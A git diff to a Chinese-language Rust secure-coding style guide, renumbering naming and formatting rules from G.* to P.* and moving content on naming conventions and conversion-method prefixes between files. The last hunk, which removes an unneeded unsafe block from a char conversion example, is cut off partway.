--git a/src/safe-guides/code_style/fmt/G.FMT.13.md b/src/safe-guides/code_style/fmt/P.FMT.13.md similarity index 90% rename from src/safe-guides/code_style/fmt/G.FMT.13.md rename to src/safe-guides/code_style/fmt/P.FMT.13.md index 94c01229..a4248845 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.13.md +++ b/src/safe-guides/code_style/fmt/P.FMT.13.md @@ -1,6 +1,4 @@ -## G.FMT.13 具名结构体字段初始化时字段名最好不要省略 - -**【级别】** 建议 +## P.FMT.13 具名结构体字段初始化时字段名最好不要省略 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.14.md b/src/safe-guides/code_style/fmt/P.FMT.14.md similarity index 87% rename from src/safe-guides/code_style/fmt/G.FMT.14.md rename to src/safe-guides/code_style/fmt/P.FMT.14.md index 8b95d252..0eb4544d 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.14.md +++ b/src/safe-guides/code_style/fmt/P.FMT.14.md @@ -1,6 +1,4 @@ -## G.FMT.14 extern 外部函数需要显式指定 ABI - -**【级别】** 要求 +## P.FMT.14 extern 外部函数需要显式指定 ABI **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.15.md b/src/safe-guides/code_style/fmt/P.FMT.15.md similarity index 90% rename from src/safe-guides/code_style/fmt/G.FMT.15.md rename to src/safe-guides/code_style/fmt/P.FMT.15.md index 5a5077d6..cf5f6d6f 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.15.md +++ b/src/safe-guides/code_style/fmt/P.FMT.15.md @@ -1,6 +1,4 @@ -## G.FMT.15 解构元组的时候允许使用`..`来指代剩余元素 - -**【级别】** 建议 +## P.FMT.15 解构元组的时候允许使用`..`来指代剩余元素 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.16.md b/src/safe-guides/code_style/fmt/P.FMT.16.md similarity index 89% rename from src/safe-guides/code_style/fmt/G.FMT.16.md rename to src/safe-guides/code_style/fmt/P.FMT.16.md index 16c18042..4b8e0ef1 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.16.md +++ b/src/safe-guides/code_style/fmt/P.FMT.16.md @@ -1,6 +1,4 @@ -## G.FMT.16 不要将多个不相关的 派生(Derive) 宏合并为同一行 - -**【级别】** 建议 +## P.FMT.16 不要将多个不相关的 派生(Derive) 宏合并为同一行 **【描述】** diff --git a/src/safe-guides/code_style/naming.md b/src/safe-guides/code_style/naming.md index 5916c66b..80638411 100644 --- a/src/safe-guides/code_style/naming.md +++ b/src/safe-guides/code_style/naming.md @@ -6,12 +6,13 @@ - [P.NAM.01 类型名称应该使用统一的词序](./naming/P.NAM.01.md) - [P.NAM.02 cargo feature 名中不应该含有无意义的占位词](./naming/P.NAM.02.md) -- [G.NAM.01 标识符命名应该符合阅读习惯](./naming/G.NAM.01.md) -- [G.NAM.02 使用统一的命名风格](./naming/G.NAM.02.md) -- [G.NAM.03 作用域越大,命名越精确;反之应简短](./naming/G.NAM.03.md) -- [G.NAM.04 类型转换函数命名需要遵循所有权语义](./naming/G.NAM.04.md) -- [G.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 等前缀](./naming/G.NAM.05.md) -- [G.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器](./naming/G.NAM.06.md) -- [G.NAM.07 避免使用语言内置保留字、关键字、内置类型和trait等特殊名称](./naming/G.NAM.07.md) -- [G.NAM.08 避免在变量的命名中添加类型标识](./naming/G.NAM.08.md) -- [G.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分](./naming/G.NAM.09.md) \ No newline at end of file +- [P.NAM.03 标识符命名应该符合阅读习惯](./naming/P.NAM.03.md) +- [P.NAM.04 作用域越大,命名越精确;反之应简短](./naming/P.NAM.04.md) +- [P.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 等前缀](./naming/P.NAM.05.md) +- [P.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器](./naming/P.NAM.06.md) +- [P.NAM.07 避免使用语言内置保留字、关键字、内置类型和trait等特殊名称](./naming/P.NAM.07.md) +- [P.NAM.08 避免在变量的命名中添加类型标识](./naming/P.NAM.08.md) +- [P.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分](./naming/P.NAM.09.md) +- [G.NAM.01 使用统一的命名风格](./naming/G.NAM.01.md) +- [G.NAM.02 类型转换函数命名需要遵循所有权语义](./naming/G.NAM.02.md) + diff --git a/src/safe-guides/code_style/naming/G.NAM.01.md b/src/safe-guides/code_style/naming/G.NAM.01.md index 5f5e873d..24464e70 100644 --- a/src/safe-guides/code_style/naming/G.NAM.01.md +++ b/src/safe-guides/code_style/naming/G.NAM.01.md @@ -1,47 +1,52 @@ -## G.NAM.01 标识符命名应该符合阅读习惯 + +## G.NAM.01 使用统一的命名风格 **【级别】** 要求 **【描述】** -标识符的命名要清晰、明了,有明确含义,容易理解。符合英文阅读习惯的命名将明显提高代码可读性。 +Rust 倾向于在“类型级别”的结构中使用 `UpperCamelCase` 命名风格,在 “值(实例)级别”的结构中使用 `snake_case`命名风格。 -一些好的实践包括但不限于: +下面是具体汇总。 -- 使用正确的英文单词并符合英文语法,不要使用拼音 -- 仅使用常见或领域内通用的单词缩写 -- 布尔型变量或函数避免使用否定形式,双重否定不利于理解 -- 不要使用 Unicode 标识符。 +| Item | 规范 | +| ---- | ---------- | +| 包(Crates) | [通常使用 snake_case](https://github.com/rust-lang/api-guidelines/issues/29) [^crate-name] | +| 模块(Modules) | `snake_case` | +| 类型(Types) | `UpperCamelCase` | +| 特质(Traits) | `UpperCamelCase` | +| 枚举体(Enum variants) | `UpperCamelCase` | +| 函数(Functions) | `snake_case` | +| 方法(Methods) | `snake_case` | +| 通用构造函数(General constructors) | `new` 或者 `with_more_details` | +| 转换构造函数(Conversion constructors) | `from_some_other_type` | +| 宏(Macros) | `snake_case!` | +| 本地变量(Local variables) | `snake_case` | +| 静态变量(Statics) | `SCREAMING_SNAKE_CASE` | +| 常量(Constants) | `SCREAMING_SNAKE_CASE` | +| 类型参数(Type parameters) | 简明的 `UpperCamelCase` ,通常使用单个大写字母: `T` | +| 生存期(Lifetimes) | 简短的 `lowercase`,通常使用单个小写字母 `'a`, `'de`, `'src`,尽量保持语义 | +| 特性(Features) | `snake_case` | -**【反例】** +说明 : -```rust -let ming: &str = "John"; -let xing: &str = "Smith"; -const ERROR_NO_1: u32 = 336; -const ERROR_NO_2: u32 = 594; +1. 在 `UpperCamelCase`情况下,由首字母缩写组成的缩略语和 复合词的缩写,算作一个词。比如,应该使用 `Uuid` 而非 `UUID`,使用 `Usize` 而不是 `USize`,或者是 `Stdin` 而不是 `StdIn`。 +2. 在`snake_case`中,首字母缩写和缩略词是小写的:is_xid_start。 +3. 在 `snake_case` 或者 `SCREAMING_SNAKE_CASE` 情况下,每个词不应该由单个字母组成——除非这个字母是最后一个词。比如,使用 `btree_map` 而不使用 `b_tree_map`,使用 `PI_2` 而不使用 `PI2` 。 -fn not_number(s:&str) -> bool {/* ... */} -``` -**【正例】** +关于包命名: -```rust -let first_name: &str = "John"; -let last_name: &str = "Smith"; -const ERROR_DIRECTORY_NOT_SUPPORTED: u32 = 336; -const ERROR_DRIVER_CANCEL_TIMEOUT: u32 = 594; +- 由于历史问题,包名有两种形式 `snake_case` 或 `kebab-case` ,但实际在代码中需要引入包名的时候,Rust 只能识别 `snake_case`,也会自动将 `kebab-case` 识别为 `kebab_case`。所以建议使用`snake_case`。 +- Crate 的名称通常不应该使用 `-rs` 或者 `-rust` 作为后缀或者前缀。 因为每个 crate 都是 Rust 编写的! 没必要一直提醒使用者这一点。但是有些情况下,比如是其他语言移植的同名 Rust 实现,则可以使用 `-rs` 后缀来表明这是 Rust 实现的版本。 -fn is_number(s:&str) -> bool {/* ... */} //用来判断是否为整数 -``` +**【参考】** +Rust 命名规范在 [RFC 0430](https://github.com/rust-lang/rfcs/blob/master/text/0430-finalizing-naming-conventions.md) 中有也描述。 **【Lint 检测】** -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -检测错误的英文拼写,检测出后提示;检测拼音,检测出来提示。拼写错误可参考 [client9/misspell](https://github.com/client9/misspell) 。 \ No newline at end of file +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | +| ------ | ---- | --------- | ------ | +| [`Rustc: non_camel_case_types`](https://doc.rust-lang.org/rustc/lints/listing/warn-by-default.html#non-camel-case-types) | no | yes | Style | +| [`Rustc: non_snake_case`](https://doc.rust-lang.org/rustc/lints/listing/warn-by-default.html#non-snake-case) | no | yes | Style | diff --git a/src/safe-guides/code_style/naming/G.NAM.02.md b/src/safe-guides/code_style/naming/G.NAM.02.md index fa1f1cb9..4088500d 100644 --- a/src/safe-guides/code_style/naming/G.NAM.02.md +++ b/src/safe-guides/code_style/naming/G.NAM.02.md @@ -1,52 +1,76 @@ +## G.NAM.02 类型转换函数命名需要遵循所有权语义 -## G.NAM.02 使用统一的命名风格 - -**【级别】** 要求 +**【级别】** 建议 **【描述】** -Rust 倾向于在“类型级别”的结构中使用 `UpperCamelCase` 命名风格,在 “值(实例)级别”的结构中使用 `snake_case`命名风格。 +应该使用带有以下前缀名称方法来进行特定类型转换: + +| 名称前缀 | 内存代价 | 所有权 | +| ------ | ---- | --------- | +| `as_` | 无代价 | borrowed -\> borrowed | +| `to_` | 代价昂贵 | borrowed -\> borrowed
borrowed -\> owned (非 Copy 类型)
owned -\> owned (Copy 类型) | +| `into_` | 看情况 | owned -\> owned (非 Copy 类型) | + +以 `as_` 和 `into_` 作为前缀的类型转换通常是 *降低抽象层次* ,要么是查看背后的数据 ( `as` ) ,要么是分解 (deconstructe) 背后的数据 ( `into` ) 。 +相对来说,以 `to_` 作为前缀的类型转换处于同一个抽象层次,但是做了更多的工作。 + +当一个类型用更高级别的语义 (higher-level semantics) 封装 (wraps) 一个与之有关的值时,应该使用 `into_inner()` 方法名来取出被封装的值。 + +这适用于以下封装器: -下面是具体汇总。 +读取缓存 ([`BufReader`](https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner)) 、编码或解码 ([`GzDecoder`](https://docs.rs/flate2/1.0.22/flate2/read/struct.GzDecoder.html#method.into_inner)) 、取出原子 ([`AtomicBool`](https://doc.rust-lang.org/std/sync/atomic/struct.AtomicBool.html#method.into_inner) 、 +或者任何相似的语义 ([`BufWriter`](https://doc.rust-lang.org/stable/std/io/struct.BufWriter.html#method.into_inner))。 -| Item | 规范 | -| ---- | ---------- | -| 包(Crates) | [通常使用 snake_case](https://github.com/rust-lang/api-guidelines/issues/29) [^crate-name] | -| 模块(Modules) | `snake_case` | -| 类型(Types) | `UpperCamelCase` | -| 特质(Traits) | `UpperCamelCase` | -| 枚举体(Enum variants) | `UpperCamelCase` | -| 函数(Functions) | `snake_case` | -| 方法(Methods) | `snake_case` | -| 通用构造函数(General constructors) | `new` 或者 `with_more_details` | -| 转换构造函数(Conversion constructors) | `from_some_other_type` | -| 宏(Macros) | `snake_case!` | -| 本地变量(Local variables) | `snake_case` | -| 静态变量(Statics) | `SCREAMING_SNAKE_CASE` | -| 常量(Constants) | `SCREAMING_SNAKE_CASE` | -| 类型参数(Type parameters) | 简明的 `UpperCamelCase` ,通常使用单个大写字母: `T` | -| 生存期(Lifetimes) | 简短的 `lowercase`,通常使用单个小写字母 `'a`, `'de`, `'src`,尽量保持语义 | -| 特性(Features) | `snake_case` | -说明 : +**【正例】** -1. 在 `UpperCamelCase`情况下,由首字母缩写组成的缩略语和 复合词的缩写,算作一个词。比如,应该使用 `Uuid` 而非 `UUID`,使用 `Usize` 而不是 `USize`,或者是 `Stdin` 而不是 `StdIn`。 -2. 在`snake_case`中,首字母缩写和缩略词是小写的:is_xid_start。 -3. 在 `snake_case` 或者 `SCREAMING_SNAKE_CASE` 情况下,每个词不应该由单个字母组成——除非这个字母是最后一个词。比如,使用 `btree_map` 而不使用 `b_tree_map`,使用 `PI_2` 而不使用 `PI2` 。 +标准库 API 命名有如下示例: +- `as_` + - [`str::as_bytes()`](https://doc.rust-lang.org/std/primitive.str.html#method.as_bytes) + 用于查看 UTF-8 字节的 `str` 切片, + 这是无内存代价的(不会产生内存分配)。 + 传入值是 `&str` 类型,输出值是 `&[u8]` 类型。 +- `to_` + - [`Path::to_str`] (https://doc.rust-lang.org/stable/std/path/struct.Path.html#method.to_str) + 对操作系统路径进行 UTF-8 字节检查,开销昂贵。 + 虽然输入和输出都是借用,但是这个方法对运行时产生不容忽视的代价, + 所以不应使用 `as_str` 名称。 + - [`str::to_lowercase()`] (https://doc.rust-lang.org/std/primitive.str.html#method.to_lowercase) + 生成正确的 Unicode 小写字符, + 涉及遍历字符串的字符,可能需要分配内存。 + 输入值是 `&str` 类型,输出值是 `String` 类型。 + - [`f64::to_radians()`] (https://doc.rust-lang.org/std/primitive.f64.html#method.to_radians) + 把浮点数的角度制转换成弧度制。 + 输入和输出都是 `f64` 。没必要传入 `&f64` ,因为复制 `f64` 花销很小。 + 但是使用 `into_radians` 名称就会具有误导性,因为输入数据没有被消耗。 +- `into_` + - [`String::into_bytes()`](https://doc.rust-lang.org/std/string/struct.String.html#method.into_bytes) + 从 `String` 提取出背后的 `Vec` 数据,这是无代价的。 + 它转移了 `String` 的所有权,然后返回具有所有权的 `Vec` 。 + - [`BufReader::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner) + 转移了 buffered reader 的所有权,取出其背后的 reader ,这是无代价的。 + 存于缓冲区的数据被丢弃了。 + - [`BufWriter::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufWriter.html#method.into_inner) + 转移了 buffered writer 的所有权,取出其背后的 writer ,这可能以很大的代价刷新所有缓存数据。 -关于包命名: +如果类型转换方法返回的类型具有 `mut` 标识符,那么这个方法的名称应如同返回类型组成部分的顺序那样,带有 `mut` 名。 +比如 [`Vec::as_mut_slice`](https://doc.rust-lang.org/std/vec/struct.Vec.html#method.as_mut_slice) 返回 `mut slice` 类型,这个方法的功能正如其名称所述,所以这个名称优于 `as_slice_mut` 。 -- 由于历史问题,包名有两种形式 `snake_case` 或 `kebab-case` ,但实际在代码中需要引入包名的时候,Rust 只能识别 `snake_case`,也会自动将 `kebab-case` 识别为 `kebab_case`。所以建议使用`snake_case`。 -- Crate 的名称通常不应该使用 `-rs` 或者 `-rust` 作为后缀或者前缀。 因为每个 crate 都是 Rust 编写的! 没必要一直提醒使用者这一点。但是有些情况下,比如是其他语言移植的同名 Rust 实现,则可以使用 `-rs` 后缀来表明这是 Rust 实现的版本。 +```rust +// Return type is a mut slice. +fn as_mut_slice(&mut self) -> &mut [T]; +``` -**【参考】** +- [`Result::as_ref`](https://doc.rust-lang.org/std/result/enum.Result.html#method.as_ref) +- [`RefCell::as_ptr`](https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr) +- [`slice::to_vec`](https://doc.rust-lang.org/std/primitive.slice.html#method.to_vec) +- [`Option::into_iter`](https://doc.rust-lang.org/std/option/enum.Option.html#method.into_iter) -Rust 命名规范在 [RFC 0430](https://github.com/rust-lang/rfcs/blob/master/text/0430-finalizing-naming-conventions.md) 中有也描述。 **【Lint 检测】** -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | -| ------ | ---- | --------- | ------ | -| [`Rustc: non_camel_case_types`](https://doc.rust-lang.org/rustc/lints/listing/warn-by-default.html#non-camel-case-types) | no | yes | Style | -| [`Rustc: non_snake_case`](https://doc.rust-lang.org/rustc/lints/listing/warn-by-default.html#non-snake-case) | no | yes | Style | +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | Lint Level | +| ------ | ---- | --------- | ------ | ------ | +| [wrong_self_convention](https://rust-lang.github.io/rust-clippy/master/index.html#wrong_self_convention) | yes| no | Style | warn | \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/G.NAM.04.md b/src/safe-guides/code_style/naming/G.NAM.04.md deleted file mode 100644 index 70766423..00000000 --- a/src/safe-guides/code_style/naming/G.NAM.04.md +++ /dev/null @@ -1,76 +0,0 @@ -## G.NAM.04 类型转换函数命名需要遵循所有权语义 - -**【级别】** 建议 - -**【描述】** - -应该使用带有以下前缀名称方法来进行特定类型转换: - -| 名称前缀 | 内存代价 | 所有权 | -| ------ | ---- | --------- | -| `as_` | 无代价 | borrowed -\> borrowed | -| `to_` | 代价昂贵 | borrowed -\> borrowed
borrowed -\> owned (非 Copy 类型)
owned -\> owned (Copy 类型) | -| `into_` | 看情况 | owned -\> owned (非 Copy 类型) | - -以 `as_` 和 `into_` 作为前缀的类型转换通常是 *降低抽象层次* ,要么是查看背后的数据 ( `as` ) ,要么是分解 (deconstructe) 背后的数据 ( `into` ) 。 -相对来说,以 `to_` 作为前缀的类型转换处于同一个抽象层次,但是做了更多的工作。 - -当一个类型用更高级别的语义 (higher-level semantics) 封装 (wraps) 一个与之有关的值时,应该使用 `into_inner()` 方法名来取出被封装的值。 - -这适用于以下封装器: - -读取缓存 ([`BufReader`](https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner)) 、编码或解码 ([`GzDecoder`](https://docs.rs/flate2/1.0.22/flate2/read/struct.GzDecoder.html#method.into_inner)) 、取出原子 ([`AtomicBool`](https://doc.rust-lang.org/std/sync/atomic/struct.AtomicBool.html#method.into_inner) 、 -或者任何相似的语义 ([`BufWriter`](https://doc.rust-lang.org/stable/std/io/struct.BufWriter.html#method.into_inner))。 - - -**【正例】** - -标准库 API 命名有如下示例: - -- `as_` - - [`str::as_bytes()`](https://doc.rust-lang.org/std/primitive.str.html#method.as_bytes) - 用于查看 UTF-8 字节的 `str` 切片, - 这是无内存代价的(不会产生内存分配)。 - 传入值是 `&str` 类型,输出值是 `&[u8]` 类型。 -- `to_` - - [`Path::to_str`] (https://doc.rust-lang.org/stable/std/path/struct.Path.html#method.to_str) - 对操作系统路径进行 UTF-8 字节检查,开销昂贵。 - 虽然输入和输出都是借用,但是这个方法对运行时产生不容忽视的代价, - 所以不应使用 `as_str` 名称。 - - [`str::to_lowercase()`] (https://doc.rust-lang.org/std/primitive.str.html#method.to_lowercase) - 生成正确的 Unicode 小写字符, - 涉及遍历字符串的字符,可能需要分配内存。 - 输入值是 `&str` 类型,输出值是 `String` 类型。 - - [`f64::to_radians()`] (https://doc.rust-lang.org/std/primitive.f64.html#method.to_radians) - 把浮点数的角度制转换成弧度制。 - 输入和输出都是 `f64` 。没必要传入 `&f64` ,因为复制 `f64` 花销很小。 - 但是使用 `into_radians` 名称就会具有误导性,因为输入数据没有被消耗。 -- `into_` - - [`String::into_bytes()`](https://doc.rust-lang.org/std/string/struct.String.html#method.into_bytes) - 从 `String` 提取出背后的 `Vec` 数据,这是无代价的。 - 它转移了 `String` 的所有权,然后返回具有所有权的 `Vec` 。 - - [`BufReader::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner) - 转移了 buffered reader 的所有权,取出其背后的 reader ,这是无代价的。 - 存于缓冲区的数据被丢弃了。 - - [`BufWriter::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufWriter.html#method.into_inner) - 转移了 buffered writer 的所有权,取出其背后的 writer ,这可能以很大的代价刷新所有缓存数据。 - -如果类型转换方法返回的类型具有 `mut` 标识符,那么这个方法的名称应如同返回类型组成部分的顺序那样,带有 `mut` 名。 -比如 [`Vec::as_mut_slice`](https://doc.rust-lang.org/std/vec/struct.Vec.html#method.as_mut_slice) 返回 `mut slice` 类型,这个方法的功能正如其名称所述,所以这个名称优于 `as_slice_mut` 。 - -```rust -// Return type is a mut slice. -fn as_mut_slice(&mut self) -> &mut [T]; -``` - -- [`Result::as_ref`](https://doc.rust-lang.org/std/result/enum.Result.html#method.as_ref) -- [`RefCell::as_ptr`](https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr) -- [`slice::to_vec`](https://doc.rust-lang.org/std/primitive.slice.html#method.to_vec) -- [`Option::into_iter`](https://doc.rust-lang.org/std/option/enum.Option.html#method.into_iter) - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | Lint Level | -| ------ | ---- | --------- | ------ | ------ | -| [wrong_self_convention](https://rust-lang.github.io/rust-clippy/master/index.html#wrong_self_convention) | yes| no | Style | warn | \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/G.NAM.09.md b/src/safe-guides/code_style/naming/G.NAM.09.md deleted file mode 100644 index a2c3ded1..00000000 --- a/src/safe-guides/code_style/naming/G.NAM.09.md +++ /dev/null @@ -1,33 +0,0 @@ -## G.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分 - -**【级别】** 建议 - -**【描述】** - -为了提升代码可读性和可维护性,有必要将常量的命名和全局静态变量有所区分。所以在定义全局静态变量时,需要以前缀`G_`命名。 - - - -**【反例】** - -```rust -static EVENT: [i32;5]=[1,2,3,4,5]; -const MAGIC_NUM: i32 = 65 ; -``` - -**【正例】** - -```rust -static G_EVENT: [i32;5]=[1,2,3,4,5]; -const MAGIC_NUM: i32 = 65 ; -``` - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ------------ | ------------- | ------------ | ---------- | ----- | -| _ | no | no | _ | yes | - -【定制化参考】 -检测`static` 全局静态变量的命名是否包含`G_`前缀。 \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/P.NAM.03.md b/src/safe-guides/code_style/naming/P.NAM.03.md new file mode 100644 index 00000000..dacf541d --- /dev/null +++ b/src/safe-guides/code_style/naming/P.NAM.03.md @@ -0,0 +1,34 @@ +## P.NAM.03 标识符命名应该符合阅读习惯 + +**【描述】** + +标识符的命名要清晰、明了,有明确含义,容易理解。符合英文阅读习惯的命名将明显提高代码可读性。 + +一些好的实践包括但不限于: + +- 使用正确的英文单词并符合英文语法,不要使用拼音 +- 仅使用常见或领域内通用的单词缩写 +- 布尔型变量或函数避免使用否定形式,双重否定不利于理解 +- 不要使用 Unicode 标识符。 + +**【反例】** + +```rust +let ming: &str = "John"; +let xing: &str = "Smith"; +const ERROR_NO_1: u32 = 336; +const ERROR_NO_2: u32 = 594; + +fn not_number(s:&str) -> bool {/* ... */} +``` + +**【正例】** + +```rust +let first_name: &str = "John"; +let last_name: &str = "Smith"; +const ERROR_DIRECTORY_NOT_SUPPORTED: u32 = 336; +const ERROR_DRIVER_CANCEL_TIMEOUT: u32 = 594; + +fn is_number(s:&str) -> bool {/* ... */} //用来判断是否为整数 +``` \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/G.NAM.03.md b/src/safe-guides/code_style/naming/P.NAM.04.md similarity index 69% rename from src/safe-guides/code_style/naming/G.NAM.03.md rename to src/safe-guides/code_style/naming/P.NAM.04.md index bee36b16..55795068 100644 --- a/src/safe-guides/code_style/naming/G.NAM.03.md +++ b/src/safe-guides/code_style/naming/P.NAM.04.md @@ -1,6 +1,4 @@ -## G.NAM.03 作用域越大,命名越精确;反之应简短 - -**【级别】** 建议 +## P.NAM.04 作用域越大,命名越精确;反之应简短 **【描述】** @@ -62,10 +60,3 @@ pub struct HeaderMap { } ``` - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| [module_name_repetitions](https://rust-lang.github.io/rust-clippy/master/#module_name_repetitions) | yes | no | pedantic | allow | diff --git a/src/safe-guides/code_style/naming/G.NAM.05.md b/src/safe-guides/code_style/naming/P.NAM.05.md similarity index 87% rename from src/safe-guides/code_style/naming/G.NAM.05.md rename to src/safe-guides/code_style/naming/P.NAM.05.md index 5722f39f..26ed77bc 100644 --- a/src/safe-guides/code_style/naming/G.NAM.05.md +++ b/src/safe-guides/code_style/naming/P.NAM.05.md @@ -1,6 +1,4 @@ -## G.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 前缀 - -**【级别】** 建议 +## P.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 前缀 **【描述】** @@ -100,14 +98,3 @@ getter 和类型转换 ([G.NAM.02](./G.NAM.02.md)) 之间的区别很小,大 - [`std::collections::hash_map::OccupiedEntry::get_mut`](https://doc.rust-lang.org/std/collections/hash_map/struct.OccupiedEntry.html#method.get_mut) - [`<[T]>::get_unchecked`](https://doc.rust-lang.org/std/primitive.slice.html#method.get_unchecked) - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group |是否可定制| -| ------ | ---- | --------- | ------ | ------ | -| _ | no | no | _ | yes | - -【定制化参考】 - -检测 Struct 实现的方法名是否包含 `get_/set_` 前缀,如果包含,则给予警告。 \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/G.NAM.06.md b/src/safe-guides/code_style/naming/P.NAM.06.md similarity index 95% rename from src/safe-guides/code_style/naming/G.NAM.06.md rename to src/safe-guides/code_style/naming/P.NAM.06.md index 36630ceb..1e5fca57 100644 --- a/src/safe-guides/code_style/naming/G.NAM.06.md +++ b/src/safe-guides/code_style/naming/P.NAM.06.md @@ -1,6 +1,4 @@ -## G.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器 - -**【级别】** 建议 +## P.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器 **【描述】** diff --git a/src/safe-guides/code_style/naming/G.NAM.07.md b/src/safe-guides/code_style/naming/P.NAM.07.md similarity index 91% rename from src/safe-guides/code_style/naming/G.NAM.07.md rename to src/safe-guides/code_style/naming/P.NAM.07.md index a0280aa9..080fd17c 100644 --- a/src/safe-guides/code_style/naming/G.NAM.07.md +++ b/src/safe-guides/code_style/naming/P.NAM.07.md @@ -1,4 +1,4 @@ -## G.NAM.07 避免使用语言内置保留字、关键字、内置类型和`trait`等特殊名称 +## P.NAM.07 避免使用语言内置保留字、关键字、内置类型和`trait`等特殊名称 **【级别】** 建议 diff --git a/src/safe-guides/code_style/naming/G.NAM.08.md b/src/safe-guides/code_style/naming/P.NAM.08.md similarity index 60% rename from src/safe-guides/code_style/naming/G.NAM.08.md rename to src/safe-guides/code_style/naming/P.NAM.08.md index 17e7b60e..d80decef 100644 --- a/src/safe-guides/code_style/naming/G.NAM.08.md +++ b/src/safe-guides/code_style/naming/P.NAM.08.md @@ -1,6 +1,4 @@ -## G.NAM.08 避免在变量的命名中添加类型标识 - -**【级别】** 建议 +## P.NAM.08 避免在变量的命名中添加类型标识 **【描述】** @@ -23,13 +21,3 @@ let account: Vec = read_some_input(); // account 的类型很清楚 let account = String::from_utf8(account)?; // account 的类型很清楚 let account: Account = account.parse()?; // account 的类型很清楚 ``` - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ---------- | ------------- | ------------ | ---------- | ----- | -| _ | no | no | _ | yes | - -【定制化参考】 -这条规则如果需要定制Lint,则可以获取变量命名的结尾部分和变量类型,进行匹配,判断是否重复。 \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/P.NAM.09.md b/src/safe-guides/code_style/naming/P.NAM.09.md new file mode 100644 index 00000000..7943f2fb --- /dev/null +++ b/src/safe-guides/code_style/naming/P.NAM.09.md @@ -0,0 +1,21 @@ +## P.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分 + +**【描述】** + +为了提升代码可读性和可维护性,有必要将常量的命名和全局静态变量有所区分。所以在定义全局静态变量时,需要以前缀`G_`命名。 + + + +**【反例】** + +```rust +static EVENT: [i32;5]=[1,2,3,4,5]; +const MAGIC_NUM: i32 = 65 ; +``` + +**【正例】** + +```rust +static G_EVENT: [i32;5]=[1,2,3,4,5]; +const MAGIC_NUM: i32 = 65 ; +``` diff --git a/src/safe-guides/coding_practice/data-type.md b/src/safe-guides/coding_practice/data-type.md index f09e5cf9..23c084c7 100644 --- a/src/safe-guides/coding_practice/data-type.md +++ b/src/safe-guides/coding_practice/data-type.md @@ -28,8 +28,7 @@ - [G.TYP.FLT.02 从任何数字类型转换为浮点类型时注意避免损失精度](./data-type/float/G.TYP.FLT.02.md) - [G.TYP.FLT.03 对精度高要求的场景下,不应直接使用浮点数进行运算和比较](./data-type/float/G.TYP.FLT.03.md) - [G.TYP.FLT.04 宜使用Rust内置方法处理浮点数计算](./data-type/float/G.TYP.FLT.04.md) - - [G.TYP.FLT.05 使用字面量定义浮点数时,尽量使用`f64`类型而非`f32`类型](./data-type/float/G.TYP.FLT.05.md) - - [G.TYP.FLT.06 禁止在浮点数和整数相互转换时使用 transmute](./data-type/float/G.TYP.FLT.06.md) + - [G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 transmute](./data-type/float/G.TYP.FLT.05.md) - [切片](./data-type/slice.md) - [P.TYP.SLC.01 宜使用切片迭代器来代替手工索引](./data-type/slice/P.TYP.SLC.01.md) - [P.TYP.SLC.02 宜使用切片模式来提升代码的可读性](./data-type/slice/P.TYP.SLC.02.md) diff --git a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md index 4dfe1eca..7ddd1f19 100644 --- a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md +++ b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md @@ -20,11 +20,11 @@ unsafe { ```rust let x = 37_u32; -unsafe { - let x = std::char::from_u32(x).unwrap(); // 请按情况处理 None - // let x = std::char::from_u32_unchecked(x); // 如果确定该整数对应合法的unicode,可以使用 uncheck 方法加速 - assert_eq!('%', x); -} + +let x = std::char::from_u32(x).unwrap(); // 请按情况处理 None +// let x = std::char::from_u32_unchecked(x); // 